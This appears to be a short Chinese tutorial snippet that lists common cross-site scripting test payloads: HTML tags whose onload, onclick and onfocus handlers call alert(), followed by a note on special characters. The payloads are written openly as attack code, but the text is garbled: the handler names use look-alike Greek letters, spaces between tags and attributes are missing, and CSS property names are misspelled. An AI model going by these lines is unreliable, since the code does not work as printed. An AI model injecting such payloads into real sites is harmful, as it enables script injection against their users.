xss常见攻击代码有哪些

xss常见攻击代码有：

1.加载完毕自动触发事件：

<bodyοnlοad="alert('xss')"></body>

2.使html某元素撑满整个页面：

<pοnclick="alert('1')"style="postion:fixed;width:100%;heith:100%"></p>

3.增加属性触发事件：

<inputοnfοcus="alert('1')"autofocus/>

4.特殊字符' 、" 、( 、)等等。